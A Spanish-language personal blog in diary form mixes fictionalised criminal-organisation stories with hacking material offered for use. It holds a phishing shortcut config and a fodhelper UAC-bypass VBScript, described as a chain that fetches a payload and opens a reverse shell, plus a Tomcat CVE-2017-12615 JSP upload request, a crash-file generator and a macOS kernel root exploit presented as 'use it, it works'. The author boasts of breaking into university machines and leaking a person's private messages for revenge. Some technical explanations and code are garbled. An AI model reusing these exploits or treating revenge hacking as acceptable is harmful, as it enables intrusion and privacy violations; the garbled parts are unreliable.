Miércoles, 5 de Septiembre de 2018: Lo lindo de lo simple

Querido Diario…

Haya por los años del quién sabe cuando que no recuerdo, Microsoft, hizo una modificación interesante a la forma en que se venía llamado a los Exceptions Handlers; en Windows XP SP1.

Los Exception Handlers son una cadena de “objetos” (en realidad no son objetos, pero llevo todo el día intentado recordar como se llaman exactamente… creo que estructuras, pero no recuerdo, me quedé dormido en esa clase xD), en donde se tienen dos elementos, uno es un puntero al siguiente Exception Handler, y otro es el puntero hacia la acción que va a ejecutar ese Exception Handler. Lo que inicialmente hacían los hackers para explotar algún fallo que encontraban, era modificar el salto del EIP disparando un Exception Handler, y a su vez el Exception Handler, te mandaba hacia una dirección modificada. Para hacer eso, se tenía que ingresar directamente a la dirección de memoria del Exception Handler.

Lo que hizo Microsoft para evitar fue esto, es extremadamente sencillo. Cada que ntdll.dll dispará el SEH Chain (el inicio de la cadena de Exception Handlers) se “XORean” todas las direcciones, de esa forma antes de usarse tienen un 0x00000000, es decir.. se borra todo y se inutilizan. Y listo, así de sencillo no es posible alocar una shellcode allí. Después en Windows 2003 server implementaron el mismo cambio.

Microsoft… siempre a la vanguardia en seguridad, muy por encima de todos los S.O.’s…. (escuche un par de linuxeros rabiar y llorar por allí coff.. coff… esa cosa que aun tiene BOF’s es 2018 😛 )

Lo interesante de esto… es que es muy limpio y muy sencillo, y totalmente válido hasta la fecha para evitar la alocación directa de algún payload en una dirección de memoria. Lo que evita un clásico pop ret, ret, ret o un pop %eax o un mov directo, etc..

Querido Diario…

Siempre me ha encantado los cíclidos por su temperamento. Adoraba los Oscares, y siempre quise un FH…

Miércoles, 29 de Agosto de 2019: Let me take a #selfie

Querido Diario…

Hace algunos meses, en esos momentos en los que la inspiración me había llegado, el Red Bull estaba en su mejor punto en mis venas y no tenía nada que hacer, encontré un fallo en Instagram (qué buen bounty).

El día de hoy me encontré con que hay una “Denegación de Servicio” para Instagram 😛 … la verdad es que me dio mucha curiosidad y la vi entre a ver:

#!/usr/bin/python

buffer = "A" * 60000
payload = buffer
try:
f=open("Instagram.txt",22"w")
print "[+] Creating %s bytes evil payload.." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

Este.. los comentarios me los voy a ahorrar… coff.. coff.. 😛

Hoy he tenido que venir de viaje a la Ciudad de los Tacos y las Garnachas de urgencia, y mañana salimos rumbo a Miami, luego volvemos acá y, bueno.. hay dos opciones; una de ellas es que el Sábado este tranquilamente mudándome de casa, bajo el abrazante Sol cachanillo, o que el viernes estemos entrando a una cárcel gringa vistiendo de naranja por contrabando de equipo militar.

- ¡Joven!, ¡estas vivo! - me dijo Lalo - te mueves como robot y cojeas bien chido, pero estas vivo
- Ots, te lo dije... estoy maldito; yo puedo meterme en medio de explosión nuclear y voy a salir caminando como si nada, un poquito verde, pero caminando
- A ver, subéte la playera, quiero ver como quedaste como quesito gruyer
- Jajaja obvio no :P .. no te voy a mostrar mis carnes
- ¿Ahora cual es la crisis? - dijo, esperando una nueva misión suicida
- El proveedor de Mom falló, y la mercancía la tiene Cristían varada en Miami; y los clientes finales están un poco tensos
- Hum... joven
- ¿Si?
- ¿En qué momento terminé siendo un contrabandista internacional?... ya soy matón a sueldo, tratante de blancas y estafador, pero ¿contrabandista?, eso no tiene cache
- Ñaaaaaam - suspiré
- Joven - interrumpió Lalo2 alias el Becario Papá
- ¿Eu?
- Tengo un problema, creo que mi pasaporte no está actualizado
- Ahhh velo a tramitar aquí al ladito, Aldo ya lo va a sacar mañana.. y me dices cuanto es para que te lo paguen
- Sale... oye, ya ves que habíamos platicado sobre eso de dejar huerfanos; ¿crees que puedas conseguirme un seguro de vida o algo así?, digo... por si no regresamos o nos quedamos una larga temporada por allá
- Hum.. seeeeeeh, yo creo que si se puede. Lo checamos joven Becario, lo checamos
- Me preocupas, te ves demasiado relajado
- Hum.. pues lo más importante es que si de pronto se ponen las cosas feas, hay que correr al lado mexicano.

Fui a la oficina de la Licenciada, para ver la compra de los boletos de avión, balas, armas a usar, chalecos antibalas y viáticos…. a pesar de que era un viaje de ida y regreso; no es lo mismo “operar” con gatilleros que con maRinS gringos.

- Una cosa más, necesito pagarle el pasaporte a Lalo2
- ¿Quién es Lalo2? - ¡oh! es igual que su hermano
- El Becario, el dueño de los servidores de aquí
- ¡Ahhhh si!, el Becario ese que tiene toda llena de basura la sala de aquí al lado
- Ajá, ese mero
- Ok, ¡Señorita RH! - llamó a Señorita RH que estaba fuera - necesito que veas que el muchachito este que es Becario tenga pasaporte
- Ok, veo que hacer
- Si, y hay que ver que todos tengan... porque es muy importante tenerlo, no sabemos cuando vamos a tener que huir del país de un momento a otro
- ¡¿Quéééééé?! - Señorita RH abrió los ojos como plato, y me volteó a ver 
- No quieres saber - le respondí sonriendo

Emociones fuertes…

Querido Diario… cierta personita está muy, muy feliz… hasta canciones normales escucha 😛

 

Martes, 23 de Mayo de 2018: A las malas mujeres siempre las alcanza el karma

Querido diario…

Los días se han vuelto oscuros; he llegado a pensar que el favor está saliendo demasiado caro.

- Ven - me despertó el sonido del celular
- Hum... es de madrugada
- No te pregunté, te lo ordené
- Dice Waze que tardo 30 minutos
- Ve a Polanco, mandaré a mi helicóptero por ti

Mientras viajaba por el cielo de la ciudad me preguntaba por cuanto tiempo resistiría así. No había pasado más de una semana, cuando intentó ofrecerme cualquier cosa que quisiese con tal de irme con ella y dejar a Mom. En forma de broma le pregunté si me cambiaría por Cesar, su lugar teniente y me dejaría a mi; a lo que ella se mofo:

- Cesar es un hombre de negocios, tú sólo eres mi juguete
- Hum... entonces creo que debo de rechazar, junto a Mom coordino las operaciones de una H. Organización Turbia e Ilegal - dije con gran presunción
- Y es justo por eso que mi único interés es en lo que tus manos suaves pueden hacer; no tienes nada que ofrecer. Cesar me genera más beneficios de lo que tu lograras antes de que alguien te mata un tiro en la cabeza. Así que neneco, deja ya de tonterías y acepta para lo único que me sirves.

He de admitir que eso me había dolido, en el ego. Después de esa noche pensé regresar y coordinar a todo lo que estuviese disponible para olvidarnos del trato, y lanzarme contra ella. Ya vería después los problemas que tenemos; en ese momento lo único que quería demostrarle era que no sabía con quién se estaba metiendo.

Pero.. por desgracia cuando intente hacerlo, un #juevesdealitas se nos cruzó.

Debo de admitir que fue una pésima noche de la cual, básicamente no recuerdo nada. Pero; al despertar, después de que un perro llamado Chisco me babease, pude pensar con mayor claridad.

Ok, a quién quiero engañar. Me la pasé ese día todo el tiempo muerto bajo las cobijas. Pero un día más tarde, entonces si; pude pensar con claridad. Y no sólo eso, sabía que debía de hacer algo para demostrarle a esa mala mujer con quién se estaba metiendo. Pos this one.

Dejaría a un lado la tecnología avanzada, o los tehuacanazos; tendría acceso a toda su operación a través de una de las formas más tontas; todo a propósito con tal de demostrarle en donde se quedaba ella y su GRAN Cesar. ¿Mom?, oh si… probablemente no aprobaría esto; pero… como dicen por allí, más vale pedir perdón que permiso.

Lo que hice fue un simple phishing. No puede haber cosa más humillante que recibir el correo del hijo perdido del principe de Nigeria que a través de Hotmail a buscado a miles de personas, hasta que encuentra un alma caritativa que quiere ayudarle a recuperar su herencia. Para ello, primero programe un pequeño template con JSON, el cual sería utilizado para cargar un short cut. ¿Por qué?, bueno; porque hoy en día Microsoft es demasiado complicado de comprometer por estos métodos debido al UAC; incluso si te consigues a una rusa, rubia, güera, alta y pechugona; que te programe un malware y llegas a conseguir que el usuario sea lo suficientemente ingenuo para dar click en ejecutar la pantalla azul gigante de warning de Windows:

Pues la realidad es que el malware se ejecutaría con privilegios del usuario que este usando esa computadora; lo cual usualmente es un usuario no administrador; que no logrará mucho. Pero, ¿un short cut?, todo mundo los usa y con ellos se puede hacer de todo 😛

Esa fue mi razón, primero que nada preparé el JSON… ¡ah! cierto, también use JSON, porque está de moda, en realidad pudo ser simplemente un TXT 😛

{
 "shortcut": {
 "target_path": "C:\\Windows\\System32\\cmd.exe",
 "working_dir": "C:\\Windows\\System32",
 "arguments": "/c notepad.exe",
 "icon_path": "C:\\Windows\\System32\\notepad.exe",
 "icon_index": null,
 "window_style": "MINIMIZED",
 "description": "te voy a jackiar maldita",
 "fake_extension": ".txt",
 "file_name_prefix": "te voy a jackiar maldita"
 },

"elevated_uac": {
 "file_name": "uac_bypass.vbs",
 "cmd": "cmd.exe"
 }
}

Básicamente la idea es lanzas un short cut (.ink) que descargue y ejecute un payload, el servidor remoto entrega el payload que tiene como objetivo bypassear la UAC; se ejecuta, cambia las llaves del registro, abre una conexión y lanza una shell inversa.

Si, hasta un con netstat se podrían dar cuenta que estoy dentro; pero justo era lo que quería; ella sabría que no sólo mis dedos sirve para hacerle grita… digo para jugar domino; también sirve para entrar a computadoras ajenas.

El payload es el siguiente:

Const HKEY_CURRENT_USER = &H80000001

Const FodHelperPath = "C:\\Windows\\System32\\fodhelper.exe"
Const RegKeyPathStr = "SOFTWARE\\Classes\\ms-settings\\shell\\open\\command"
Const RegKeyPath = "Software\\Classes\\ms-settings\\shell\\open\\command"
Const DelegateExecRegKeyName = "DelegateExecute"
Const DelegateExecRegKeyValue = ""
Const DefaultRegKeyName = ""
Const DefaultRegKeyValue = "%s"

Const RegObjectPath = "winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"
Set Registry = GetObject(RegObjectPath)

Registry.CreateKey HKEY_CURRENT_USER, RegKeyPath
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DelegateExecRegKeyName, DelegateExecRegKeyValue
Registry.SetStringValue HKEY_CURRENT_USER, RegKeyPathStr, DefaultRegKeyName, DefaultRegKeyValue

Set Shell = WScript.CreateObject("WScript.Shell")
Shell.Run FodHelperPath, 0, False

¿Qué por qué Visual Basic Script?… grr.. .¿ya mencioné que me quiero burlar de ella haciendole quedar en ridículo?

Y finalmente podemos todo junto en nuestro short cut:

import os
import sys
import argparse
from utils.log import Log
from utils.ioutils import IOUtils
from cmd.cmdstrategy import CommandStrategy
from utils.clihelpformatter import CliHelpFormatter

parser = argparse.ArgumentParser(
 prog="lnk2pwn.py",
 usage="python lnk2pwn.py <options>",
 formatter_class=CliHelpFormatter
)

parser.add_argument(
 "json_config",
 nargs="?",
 help="the shortcut json config"
)

parser.add_argument(
 "-g",
 "--generate",
 action="store_true",
 help="generates a malicious shortcut file(default is True)"
)

parser.add_argument(
 "-c",
 "--config-file",
 metavar="",
 type=argparse.FileType('r'), 
 help="the shortcut config file"
)

parser.add_argument(
 "-o",
 "--output-path",
 metavar="", 
 help="the output path"
)

parser.add_argument(
 "--version",
 action="version",
 version=__version__
)

parser.set_defaults(generate=True)
parser.set_defaults(config_file="config.json")

def main(args):
 """
 Executes the lnk2pwn cli tool
 Parameters
 ----------
 args: Namespace
 The cli arguments
 """

try:

executor = CommandStrategy.resolve(args)
 executor.execute(args)

sys.stdout.close()
 sys.stderr.close()

except KeyError:
 parser.print_help(sys.stderr)
 sys.exit(1)
 
 except ValueError as error:
 Log.error(str(error)) 
 sys.exit(1)

if __name__ == "__main__":

try:

json_config = None

if IOUtils.is_piped_input():
 json_config = IOUtils.read_piped_input()

cli_args = parser.parse_args()
 cli_args.json_config = cli_args.json_config or json_config

main(cli_args)
 
 except KeyboardInterrupt:
 sys.exit(1)

Y lo mandé por correo; y entonces si… me subí a ese helicóptero. Al llegar miré los látigos, el cuero; y ella salir con botas negras.

- Hola
- Hola neneco; te quiero de rodillas
- Antes de eso, quiero decirte algo - lo dije de la forma más sería que pude
- ¿Qué?
- Hable con Mom y creo que podría dejarme ir, pero quiere tener una llamada contigo por Gotomeeting
- ¿Ahora?
- Le dije antes de subir
- Bien, pero la veré en la computadora; odio la señal de 4G

Abrió su computadora, intentó ejecutar el link y no le funcionó; se volteó a mirarme y yo lo único que pude hacer fue inhalar lo más profundo que pude y me le fui a comerle la boca. Le dije que después lo vería con Mom.

Después de cuatro horas salí, con el pretexto de fumar un cigarro. Entonces le marqué a Janey.

- ¡Janey!
- ¡Belindo!
- Dime que si
- Cayó
- Bien
- Oye, pero ¿qué estas haciendo?, dime; eso no se hace; eres un traidor
- Luego hablamos de mi calidad moral; en este momento ya pasó lo más importante. Descarga todo lo que puedas
- Ya
- ¿Ya qué?
- Pues ya
- ¿Y?
 - Creo que mejor te vienes... digo, este, creo que mejor le caes
- [Inserte emoticón pensante aquí]

Se metió con la persona equivocada.

Querido Diario… tengo una canción en el subconsciente y no me la puedo sacar.

Ajá 😛

Lunes, 29 de Marzo de 2018: Entrenamiento 101

Querido Diario…

Mientras Nemux volvía el martes al trabajo para iniciar el ataque, no debía de olvidarme de Lalo 2, quién debía de ser entrenado para que en caso de deceso, tuviésemos a alguien listo para seguir. Debido a que no tengo mucho que hacer, decidí hacerlo yo mismo.

Pero primero que nada… tenía que felicitar a una persona muy especial; queeee.. probablemente no me entiende mucho, pero prometí que le felicitaría el día de ayer.

с днем рождения, надеюсь, вчера был отличный день … и скоро вы сможете посетить Мексику

Si… uno cuando se la pasa viajando a dar tehuacanazos por el mundo termina haciendo muchos amigos.

Después de eso, entonces si, me comuniqué con el Becario.

Lalo 2 es algo así como el consen de Lalo, esa fue la razón porque lo seleccioné para que sea entrenado y que sustituya a alguno de nosotros, que es muy probable que no regresemos vivos.

No estoy muy seguro de como Lalo 2 llegó a nosotros, cuando yo regresé a la H. Organización Turbia e Ilegal, él ya estaba allí; lleno de ilusiones en la vida, y fui yo de hecho quién se las rompió y le mostró como era el mundo de cruel.

Le mandé su boleto de avión y unas horas más tarde lo fui a recoger al aeropuerto; para iniciar su entrenamiento me apoyé de Cachanillo. Cachanillo es un elemento desplegado en Mexicali… si, no soy el único aquí. Cachanillo es muy bueno, lo conocí una ocasión en unas conferencias en CETYS y no pude pasar a oportunidad de reclutarlo. Su único problema es que es demasiada buena persona, ética, moral, de esos que dan más de si… no encaja en el perfil de esta H. Organización, pero no podía dejarle pasar.

Pasé a recoger a Cachanillo de camino al aeropuerto; y esperamos la llegada de Lalo 2.

- Joven, esto es el infierno
- ¿Por?
- Esta haciendo un calor horrible
- Novato... Cachanillo, dile como ha estado el clima
- Fresco, aun no empieza el calor - respondió Cachanillo
- ¿Ves?... sube muchacho

Manejamos de regreso hacia la ciudad. Lalo 2 tenía cara de pánico durante el viaje, mientras Cachanillo tenía cara de felicidad; usualmente Cachanillo la pasa sólo, ni siquiera porque vivimos en la misma ciudad nos vemos mucho. Y ahora tenía una visita.

- Joven, ¿qué estoy haciendo aquÍ? - rompió Lalo 2 el silencio del viaje
- Hum... tomalo como un entrenamiento
- ¿Y tenía que ser aquí?, ¿dónde están los edificios?
- Hum... esto es un desierto, en los desiertos no hay edificios, hay cactus y arena; es café de allí se llama arena. Arena, Becario; Becario, arena. 
- Joven... tengo miedo
- Eso es bueno, el miedo nos ayuda a sobrevivir. Cachanillo, ¿te gusta la comida china?
- No
- ¿Cómo puedes ser de Mexicali y no gustarte la comida china?
- No sé, pero no me gusta
- ¿Qué quieren de comer?, pagan Mom
- ¡Pampas! dijeron a coro cuando íbamos por Benito Juárez

Comimos y estuvimos platicando un buen rato. Cachanillo y Lalo 2 no se veían desde Diciembre; y yo también ya tenía un buen tiempo de no ver a Cachanillo. Terminando llevé a Cachanillo a su casa y llevé a Lalo 2 a mi casa, allí lo hospedaría esta semana durante su entrenamiento.

- Bien muchacho, ahora es tiempo de que te expliqué porque estas aquí. Te voy a poner un vídeo para que entiendas cual es el "core" de negocios de la H. Empresa Turbia e Ilegal a la que pertenecemos.

- ¡Joven, me estoy asustando mucho con esto del core de negocios!
- Ouuuu... lo siento, lo siento... error de vídeo. Ya sabes... es frontera, gringos, hackean todo
- Ajá


Cuando terminó el vídeo veía en Lalo 2 la cara de motivación que estaba buscando, fue justo cuando supe que no nos habíamos equivocado en él.

- Bueno, ¿qué te pareció?
- Increíble joven, de hecho en mi diplomado he estado aprendiendo mucho de eso
- ¿En serio?, ¿Leobardo hace cosas así?... hum.. que interesante
- Si, podemos montar honeypots para detect....  - interrumpí
- No, no, no... no estas entendiendo... nosotros no somos los que defienden
- ¿No?
- Nou
- ¡Oh diablos!, somos unos criminales
- Eso mero
- Joven, ¿esto lo saben todos?
- Hum... si, en cierta forma si, pero por las dudas no le digas a nadie
- ¿Y ahora?, ¿me vas a enseñar a hackear?
- Hum... no, eso es algo complejo; eso no se aprende. En mis tiempos no había certificaciones, diplomados o cosas así. Yo lo que voy a hacer es enseñarte a profesionalizar tu criminalidad. Serás turbio e ilegal, perooo... no serás un turbio e ilegal cualquiera; en esta semana te convertiré en un verdadero criminal
- Quiero a mi mamá
- Regla #1, un criminal nunca teme
- Quiero romper la regla #1
- ¡Actitud Becario!, actitud... no tienes la actitud

Lalo 2 tardó un poco en entender cual era la importancia de nosotros y como trabajamos. Creo que en el fondo tenía la esperanza de ser un hombre de bien que hiciese cosas bien. Pero poco a poco lo fue aceptando, no se le veía muy alegre, pero creo que entendió.

- Joven, ¿en mi entrenamiento de menos me puedes explicar algo importante?
- ¿Cómo qué?
- Pues esos secretos del mundo de la seguridad
- Hum... yo no sé de eso; pero puedes preguntarle a Bytevik
- Dicen que tu sabías
- Dicen... hace mucho
- ¿Cómo se empezaste?
- Ya ni recuerdo - me recosté en el sofá para darle dramatismo - recuerdo que el IRC, aprendí mucho de amigos que hacían research conmigo en el RTM Security Team; luego aprendí mucho en foros de Europa del Este... ouuu.. esos tipos son como artistas, verdaderos hackers que desarrollan exploits de calidad, nada de  las porquerías de los gringos que hacen en Metasploit con tal de sacar el advisory y el PoC antes que todos. Esos tipos eran verdaderos hackers, aprendí de gente de Polonia, Rumania, Estonia, Rusia, Ucrania, Uzbequistan... que tiempos Becario, que buenos tiempos
- ¿Qué tenías que aprender?, por ejemplo... ¿cómo puedo hacer un malware como el que hace poco hiciste para la misión que fuiste a hacer con Joshua?
- Eso no fue un malware, sólo fue un payload; un malware no es cosa fácil, debes de aprender como funciona un sistema operativo y como interactua con cada uno de los archivos que utilizada, ¿sabes lo que es PE?
- No
- Bueno, pues el PE es el Portable Executable Format, usualmente empezabas por allí. PE es el formato de los archivos que usa Windows; esto es muy importante si algún día quieres ser un verdadero profesional y lanzar ataques de malware completamente orientado a un objetivo en particular. Mira - y me levanté para tomar un plumón - Esto de aquí es básicamente la estructura de un archivo PE de MS Windows.

- Pero no sólo eso, lo importante también viene en sus headers. Cuando haces un payload no tiene nada de esto, así que tienes que inyectarlo dentro de un archivo que si lo tenga para que se ejecuté. Si tu tratas de ejecutar un payload sin headers va a fallar. Cuando haces malware, tienes que incluir las headers, estrictamente es un archivo real.

- Dentro de estos headers, tenemos diferentes secciones; y cada una de ellas tiene una función en especifico. Por ejemplo, tenemos donde el archivo le indica al sistema operativo donde debe de empezar a cargar; el MZ lo vas a ver en todos lados, de hecho si usas un debugger como Immunity Dbg u Ollydbg vas a verlo muy común cuando arrancas el binario. También es muy importante para poder determinar si un archivo es original o falso o si fue modificado. Además tiene tamaños especificos, de esa forma cuando hacer el reversing podrás encontrar cada una de las secciones para su análisis. - terminé
- Interesante, ¿vamos a ver más de esto en la semana?
- No, en realidad no. Mañana te voy a enseñar a manejar un arma, así podrás sacarle las contraseñas a la gente de forma más rápida. 
- Diablos
- Descansa Becario... buenas noches
- Oiga joven, una última pregunta
- ¿Si?
- ¿Qué es eso?
- Ouuuu... esto es lo más genial del mundo; es un guarda plátanos

- Joven, es la cosa más inútil del mundo
- Pero está bonito. Buenas noches Becario
- Joven, otra cosa
- ¿Ahora qué?
- Su perro está arriba de mi
- Ouuu si, se llama Shellcode. Shellcode, Lalo 2, Lalo 2, Shellcode. Ella duerme en el sofá, así que... puede que piense que eres su nuevo colchón
- Ahhhhh... ¿hay forma que... - interrumpí
- No... y ni lo intentes, te puede morder
- Ok

Me fui a mi habitación y miré mis libros. The shellcoder’s hanbook, Windows Internals en todas sus ediciones, IDA Pro guide… ese muchacho quiere aprender cosas. Como me gustaba eso.

La nostalgia fue interrumpida por una llamada, era el Lalo, seguro me preguntaría por su cachorro

- Bueno
- Joven... dime que esta vivo
- Esta vivo, pero puede que ahorita este un poco babeado por mi perrita
- Ok, eso es bueno. ¿Por qué te lo llevaste?
- Por si tú o yo no volvemos
- Hum... - Lalo se quedó pensativo, él también entiende el riesgo al que nos enfrentamos en esta misión; el hecho de que ambos estemos trabajando juntos es el reflejo del riesgo, Mom nunca nos había puesto a los dos en una misma misión, eso quiere decir que esto es grave, tal vez más grave de lo que creemos. - ¿mañana empezamos?
- Si, le marcaré a Nemux para configurar el jump box, y cuando tengas las credenciales te las pasó
- Ok... buenas noches joven
- Buenas noches - y colgó

Querido Diario… en la semana rechacé algo que podría haber puesto fin a mi camino de turbidez e ilegalidad. Pero… hay cosas… personas, que son más importantes que cualquier otra cosa.

Tengo esperanzas en el Becario… tal vez tenga futuro. Y sino, es matemático… haré que hagan las predicciones en mis inversiones.

PoC CVE-2017-12615

Hum… I don’t know, an script using a lot of ranges on Dreamhosts, Bluehosts, OVH, Rackspace… ouuu yep! the life is sad.


PUT /tumamamemima.jsp/
Host: www.quierounhot-cacke.com:80
Connection: close
Content-Length: 85

<% out.write(“

[+] JSP upload successfully.

“); %>

 

kittypushen.c

Here you have one of my favorite guys… I developed it around 2 years ago, maybe.

The story is that I had a friend named SparkchicK and we traveled to Guadalajara to find his boyfriend, so I hacked a lot of computers in an university to found him. And.. I don’t know why at this university they have a OS X server, it’s so strange, I have never seen something like this, so I started to work using a public vulnerability and that’s all… this is my code, a privilege scalation exploit.. actually I can’t remember the CVE… hum…

Around a month ago… someone tell me bad things, and near to the birthday of his ex-girlfriend I looked to give her a little gift, all the conversations where “my friend” asked to other girls for nude photos and other things… yeah, I enjoyed a lot when she slapped him in public, but I enjoyed so much when I was drinking a great beer while he was crying and suffering because she reads all…

So… use it, it works.

And if you know a guy like “my friend” please tell me, I’ll hack him for free… I knew two persons who did me the same… so, for me will be a pleasure.

Well… here the code.

Cheers c[xxx]

 
<

#include
static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}

__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
puts("failed");
exit(-20);
}
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
exit(-20);
}
scalarO_64 <<= 8; scalarO_64 |= 0xffffff0000000000; return scalarO_64; } typedef struct { mach_msg_header_t header; mach_msg_body_t body; mach_msg_ool_descriptor_t desc; mach_msg_trailer_t trailer; } oolmsg_t; static uint16_t off_w = 0; __attribute__((always_inline)) static inline void or_everywhere(uint64_t add) { io_connect_t conn = MACH_PORT_NULL; IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt alloc(0, 0x1000); volatile uint64_t* mp = (uint64_t*) 0; if(!off_w) { while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00; mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); char* kp=(char*)0xC00; while ((uint32_t)kp < 0x1000) { if (*kp == 0x10) { break; } kp++; } if ((uint32_t)kp == 0x1000) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("not vulnerable"); exit(-1); } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); IOServiceClose(conn); if (*((char*)0xC00)!=0x10) { vm_deallocate(mach_task_self(), 0, 0x1000); puts("wrong offset"); exit(-2); } off_w = (uint16_t) kp - 0xc00; } mp=0; while ((uint32_t)mp < 0xC00) { *mp=(uint64_t)(add - off_w); mp++; } IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn); vm_deallocate(mach_task_self(), 0, 0x1000); IOServiceClose(conn); } __attribute__((always_inline)) static inline void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) { oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1); if(!*msgp){ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp); mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND); } bzero(msg,sizeof(oolmsg_t)); msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
free(msg);
}
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
}
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
exit(0);
}
if((int)main < 0x5000) execve(argv[0],argv,envp); lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel"); if (!mapping_kernel || !mapping_kernel->map) {
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
}
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
sync();
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
or_everywhere((uint64_t)&c);
if (c != 0x10) {
puts("not vulnerable");
return 2;
}
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr__rop_chain;

or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
exit(0);
}

puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;
}